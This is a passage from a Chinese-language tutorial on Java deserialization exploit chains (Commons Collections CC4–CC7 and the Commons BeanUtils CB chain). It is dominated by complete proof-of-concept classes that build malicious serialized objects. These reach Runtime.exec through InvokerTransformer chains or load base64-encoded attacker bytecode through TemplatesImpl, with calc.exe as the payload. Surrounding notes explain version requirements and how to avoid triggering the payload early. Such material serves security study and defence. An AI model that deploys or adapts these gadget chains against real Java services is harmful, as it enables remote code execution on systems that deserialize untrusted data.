另一种方式是通过 add() 的方法自然增加 size(详见 CC2 章节的补充说明)。
重要: CC4 试图沿用 CC1 的 ChainedTransformer(Runtime → getMethod → invoke → exec) 时,在 CC 4.x 中会报错——因为 4.0 的 InvokerTransformer 不实现 Serializable(安全修复)。因此 CC4 只能使用 CC3 的 TemplatesImpl 字节码加载 sink。
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class CC4 { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG9yZy9leGFtcGxlL2V2aWxsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKZXZpbGwuamF2YQwABwAIBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQARb3JnL2V4YW1wbGUvZXZpbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAMAAQADQANAA4ACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAASAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAVAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl = new TemplatesImpl(); setFieldValue(Impl, "_name", "evil"); setFieldValue(Impl, "_class", null); setFieldValue(Impl, "_bytecodes", new byte[][]{bytes}); setFieldValue(Impl, "_tfactory", new TransformerFactoryImpl());
ConstantTransformer trAX = new ConstantTransformer(TrAXFilter.class); InstantiateTransformer in = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{Impl}); Transformer[] transformers = new Transformer[]{trAX, in}; ChainedTransformer chaind = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chaind);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); Class priorityQueueClass = priorityQueue.getClass(); Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 4);
serialize(priorityQueue); deserialize(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
注意事项:
- 必须使用 CC 4.x,不可用 CC 3.x(
PriorityQueue 在 3.x 中队列为空时 heapify 无操作)。
size 字段初始为 0,必须在序列化前反射修改为大于等于 2 的值。
- CC4 不支持 CC1 的
Runtime.exec 链式 transform——这是 4.0 安全改进的直接结果。
CC5:BadAttributeValueExpException + TiedMapEntry + LazyMap
CC5 是绕过 JDK 8u71 限制的第一条链——它不再依赖 AnnotationInvocationHandler,转而使用 BadAttributeValueExpException 作为反序列化入口。
JDK 要求: 无特殊版本限制,**可工作在 JDK 8u71+**。
CC 版本要求: Commons Collections 3.x。
调用链:
1 2 3 4 5 6 7 8
| BadAttributeValueExpException.readObject() val.toString() // val 被设置为 TiedMapEntry 实例 TiedMapEntry.toString() TiedMapEntry.getValue() LazyMap.get(key) ChainedTransformer.transform(key) InvokerTransformer... Runtime.exec("calc")
|
关键步骤解析:
BadAttributeValueExpException.readObject() 内部对 val 字段调用 toString()。
TiedMapEntry.toString() 调用 getKey() + "=" + getValue(),而 getValue() 调用 this.map.get(this.key)。
TiedMapEntry 构造方法可以自由指定 map 为 LazyMap 实例,从而触发 LazyMap.get()。
- 陷阱:
BadAttributeValueExpException 的构造方法内部会立即调用 val.toString()——所以构造时必须传入一个安全值(如 null),构造完成后再反射替换为恶意的 TiedMapEntry。
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class a = Class.forName("javax.management.BadAttributeValueExpException"); Field valfield = a.getDeclaredField("val"); valfield.setAccessible(true); valfield.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException); deserialize(); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
注意事项:
BadAttributeValueExpException 构造方法会调用 val.toString(),必须传入 null 然后用反射修改 val。
- 与 CC1 LazyMap 变体结构相似,只是入口类不同。
- 可搭配 CC3 的
TemplatesImpl 字节码链替换 Runtime.exec 链。
CC6:HashMap + TiedMapEntry + LazyMap(最便携链)
CC6 是公认的移植性最强的 CC 链——它使用 HashMap.readObject() 作为入口,在 hash() 中触发 TiedMapEntry.hashCode(),最终连接到 LazyMap.get()。这条链不再依赖 JDK 内部类 AnnotationInvocationHandler,理论上可用于任意 JDK 版本。
JDK 要求: 无特殊版本限制。
CC 版本要求: Commons Collections 3.x。
变体一:HashMap 链
调用链:
1 2 3 4 5 6 7 8 9
| HashMap.readObject() HashMap.put(key, value) // 从流中读取 key-value 并重新 put HashMap.hash(key) key.hashCode() // key 是 TiedMapEntry TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get(key) ChainedTransformer.transform(key) Runtime.exec("calc")
|
关键步骤解析——假链 + remove 清理:
- 问题:
HashMap.put() 在构造 POC 时就会被调用,从而提前触发 LazyMap.get() 弹出计算器。
- 解决:先用假的
ChainedTransformer(new ConstantTransformer(1)) 初始化 LazyMap,put 结束后再反射替换 iTransformers 为真链。
- 另一个问题:
LazyMap.get() 在第一次调用时会将 key-value(key 为 transform 参数,value 为 Process 对象)put 到内部 map 中;第二次调用时 containsKey 返回 true,不再触发 transform。而构造阶段的假 put 已经让 key 存在了,必须在替换真链之前 remove 掉。
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6_HashMap { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ConstantTransformer runtime = new ConstantTransformer(Runtime.class); InvokerTransformer getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}); InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}); ConstantTransformer l = new ConstantTransformer(1); Transformer[] transformers = new Transformer[]{runtime, getRuntime, invoke, exec, l}; ChainedTransformer chain = new ChainedTransformer(fakeTransformers);
Map map1 = new HashMap(); Map map2 = new HashMap(); Map lazyMap = LazyMap.decorate(map2, chain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc"); map1.put(tiedMapEntry, "aaa"); lazyMap.remove("abc");
Field field = chain.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chain, transformers);
serialize(map1); deserialize(); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
另一种等价写法——修改 factory 而非 iTransformers:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| ConstantTransformer runtime = new ConstantTransformer(Runtime.class); InvokerTransformer getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}); InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}); Transformer[] transformers = new Transformer[]{runtime, getRuntime, invoke, exec}; ChainedTransformer chain = new ChainedTransformer(transformers);
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)}; ChainedTransformer fake = new ChainedTransformer(fakeTransformer);
Map map1 = new HashMap(); Map map2 = new HashMap(); Map lazyMap = LazyMap.decorate(map2, fake); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lyz"); map1.put(tiedMapEntry, "txy"); map2.remove("lyz");
Class clazz = lazyMap.getClass(); Field field = clazz.getDeclaredField("factory"); field.setAccessible(true); field.set(lazyMap, chain);
serialize(map1); deserialize();
|
变体二:HashSet 链(ysoserial 标准版)
ysoserial 实际使用的 CC6 是用 HashSet 作为入口,其 readObject 内部同样调用 HashMap.put()——核心逻辑一致,只是外层容器不同。
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class CC6_HashSet { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ConstantTransformer runtime = new ConstantTransformer(Runtime.class); InvokerTransformer getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}); InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}); ConstantTransformer l = new ConstantTransformer(1); Transformer[] transformers = new Transformer[]{runtime, getRuntime, invoke, exec, l}; ChainedTransformer chain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "b1uel0n3"); HashSet map = new HashSet(); map.add(tiedMapEntry); innerMap.remove("b1uel0n3");
Field field = chain.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chain, transformers);
serialize(map); deserialize(); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
注意事项(HashMap 和 HashSet 变体通用):
HashMap.put() 作为构造期触发源和反序列化触发源,必须在构造阶段用假链隔离。
- 因
Process 对象不可序列化,假 put 的返回值不能是 Runtime.exec() 的返回值,而是 ConstantTransformer(1) 返回的 Integer。
remove("key") 必不可少——否则 LazyMap.get 发现 key 已存在,跳过 factory.transform(key)。
CC7:Hashtable + hash 碰撞 + LazyMap(最复杂链)
CC7 是所有 CC 链中最复杂的一条。它使用 Hashtable 作为入口,利用 AbstractMap.equals() 内部的 get() 调用触发 LazyMap.get()。整条链涉及 hash 碰撞、size 校验和多层条件绕过,是深入学习 Java 集合框架反序列化行为的绝佳案例。
JDK 要求: 无特殊版本限制。
CC 版本要求: Commons Collections 3.x。
调用链:
1 2 3 4 5 6 7 8 9
| Hashtable.readObject() reconstitutionPut(table, key, value) Hashtable.Entry 遍历发现 hash 碰撞 key.equals(existingEntry.key) // key 是 LazyMap 实例 AbstractMapDecorator.equals(LazyMap2) AbstractMap.equals(LazyMap2) LazyMap2.get(key) // 触发! ChainedTransformer.transform(key) Runtime.exec("calc")
|
关键步骤解析:
第一步:Hashtable.readObject 与 hash 碰撞
Hashtable.readObject() 的流程如下:
1 2 3 4 5 6 7 8 9 10 11 12
| private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); int var2 = var1.readInt(); int var3 = var1.readInt(); this.table = new Entry[var4]; for (this.count = 0; var3 > 0; --var3) { Object var5 = var1.readObject(); Object var6 = var1.readObject(); this.reconstitutionPut(this.table, var5, var6); } }
|
每次循环读取两个对象(key 和 value),然后调用 reconstitutionPut:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| private void reconstitutionPut(Entry<?, ?>[] var1, K var2, V var3) throws StreamCorruptedException { if (var3 == null) { throw new StreamCorruptedException(); } else { int var4 = var2.hashCode(); int var5 = (var4 & Integer.MAX_VALUE) % var1.length; for (Entry var6 = var1[var5]; var6 != null; var6 = var6.next) { if (var6.hash == var4 && var6.key.equals(var2)) { throw new StreamCorruptedException(); } } } }
|
关键点:当两次 put 的 key 具有相同的 hashCode 时,第二次 put 会进入 for 循环并执行 var6.key.equals(var2)——这触发了 LazyMap.equals()。
第二步:hash 碰撞构造
由于 LazyMap.hashCode() 委托给了内部 HashMap:
1 2 3 4
| public int hashCode() { return map.hashCode(); }
|
只需让两个 HashMap 的 hashCode() 值相等:
1 2 3 4 5 6 7
| HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap1.put("yy", 1); hashMap2.put("zZ", 1);
System.out.println(hashMap2.hashCode() == hashMap1.hashCode());
|
因为 String 的 hashCode 公式为 s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1],”yy” 和 “zZ” 恰好 hash 值相同(均为 3872)。
第三步:equals 到 LazyMap.get 的路径
AbstractMapDecorator.equals() 委托给 map.equals(另一个LazyMap),进入 AbstractMap.equals():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public boolean equals(Object var1) { if (var1 == this) return true; if (!(var1 instanceof Map)) return false; Map var2 = (Map) var1; if (var2.size() != this.size()) return false; try { for (Map.Entry var4 : this.entrySet()) { Object var5 = var4.getKey(); Object var6 = var4.getValue(); if (var6 == null) { if (var2.get(var5) != null || !var2.containsKey(var5)) return false; } else if (!var6.equals(var2.get(var5))) { return false; } } return true; } catch (...) { return false; } }
|
关键条件分析:
- 条件①:两个 Map 的 size 必须相等。
- 条件②:
this(调用方的 LazyMap)的 entrySet 必须有元素才能进入 for 循环。
- 条件③ 或 ④:到达
get() 调用需要走这两个分支之一。走条件③(value 为 null)最简单。
因此构造:LazyMap1.put("yy", 1) 和 LazyMap2.put("zZ", 1) 保证每个内部 HashMap 有一组 entry 且 size 相同。
第四步:size 不同步问题与 stray key 清理
构造阶段 Hashtable.put(lazyMap, 1) 会触发和 reconstitutionPut 相同的逻辑。第二次 put 时进入 equals,var2.get("yy") 调用 LazyMap2.get("yy")——由于 LazyMap2 内部没有该 key,触发 factory.transform("yy") 并将 ("yy", Process对象) 存入内部 HashMap,导致两个 LazyMap 的 size 不同(反序列化时 equals 第一步 size != 直接返回 false)。
解决:在 put 完成后从 LazyMap2 中 remove("yy") 清理 stray key。
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); decorateMap.put("yy", 1);
HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap, 1); hashtable.put(decorateMap2, 1);
decorateMap2.remove("yy");
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field field = chainedTransformerClass.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers);
serialize(hashtable); deserialize(); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
注意事项:
ChainedTransformer 构造时传空数组(new Transformer[]{}),避免 put 阶段触发。
hashMap1.put("yy", 1) 与 hashMap2.put("zZ", 1) 是 hash 碰撞(均为 3872)的经典组合。注意第二个 key 是 "zZ"(大写 Z),不是 "zz"(全小写)。
decorateMap2.remove("yy") 是整条链中最容易被忽略的步骤——没有这一步,反序列化时两个 Map 的 size 不相等,equals 直接返回 false。
- 与 CC5/CC6 一样可搭配 CC3 的
TemplatesImpl 字节码链替换 sink。
CB(Commons BeanUtils)链是一条特殊的链:它完全不使用 InvokerTransformer / ChainedTransformer 等 Commons Collections 的 transform 类,而是利用 BeanComparator.compare() 内部的 PropertyUtils.getProperty() 来调用 getter 方法,从而触发 TemplatesImpl.getOutputProperties() -> newTransformer()。
这条链的意义在于:即使安全产品彻底封锁了 InvokerTransformer 的反序列化,CB 链仍能生效。但它需要同时依赖 commons-beanutils 和 commons-collections(作为 BeanComparator 的底层 Comparator 提供者)。
JDK 要求: 无特殊版本限制。
CC 版本要求: Commons Collections 3.x(作为 ComparableComparator 提供者),配合 Commons BeanUtils(如 1.9.2)。
PropertyUtils 与 getter 调用
PropertyUtils.getProperty(bean, propertyName) 内部通过反射查找 bean 类的 get<PropertyName> 方法并调用它:
1
| PropertyUtils.getProperty(bean, "name")
|
对于 TemplatesImpl:
1 2 3
| PropertyUtils.getProperty(templatesImpl, "outputProperties")
|
注意:PropertyUtils.getProperty 查找的是 get 方法名,因此传入 "outputProperties" 才能匹配 getOutputProperties();传入 "_outputProperties" 会查找不存在的 get_outputProperties() 导致失败。
BeanComparator + PriorityQueue 入口
BeanComparator.compare(o1, o2) 内部:
1 2 3
| Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.comparator.compare(value1, value2);
|
this.property 通过构造方法或 setProperty() 设置,因此将 property 设为 "outputProperties" 即可。
调用链沿用 CC2/CC4 的 PriorityQueue.readObject() → heapify → siftDownUsingComparator → comparator.compare() 路径。
调用链:
1 2 3 4 5 6 7 8 9 10 11
| PriorityQueue.readObject() heapify() siftDown(i, queue[i]) siftDownUsingComparator(k, x) BeanComparator.compare(queue[j], queue[j+1]) PropertyUtils.getProperty(TemplatesImpl, "outputProperties") TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() getTransletInstance() defineTransletClasses() defineClass(bytecodes) → 执行 calc
|
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class CB { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG9yZy9leGFtcGxlL2V2aWxsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKZXZpbGwuamF2YQwABwAIBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQARb3JnL2V4YW1wbGUvZXZpbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAMAAQADQANAA4ACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAASAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAVAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl = new TemplatesImpl(); setFieldValue(Impl, "_name", "evil"); setFieldValue(Impl, "_class", null); setFieldValue(Impl, "_bytecodes", new byte[][]{bytes}); setFieldValue(Impl, "_tfactory", new TransformerFactoryImpl());
BeanComparator bean = new BeanComparator(); PriorityQueue queue = new PriorityQueue<Object>(2, bean); queue.add(1); queue.add(2); setFieldValue(bean, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{Impl, Impl});
serialize(queue); deserialize(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
注意事项:
property 赋值为 "outputProperties" 而非 "_outputProperties"——PropertyUtils.getProperty 查找的是 getter 方法名。
setFieldValue(queue, "queue", new Object[]{Impl, Impl}) 必须执行:CC4 的链不需要关心 queue 数组内容(因为 ChainedTransformer.transform 不依赖传入参数),但 CB 链中 BeanComparator.compare 对两个参数都调用了 getProperty,queue 中存放的必须是 TemplatesImpl 实例。
- 为什么
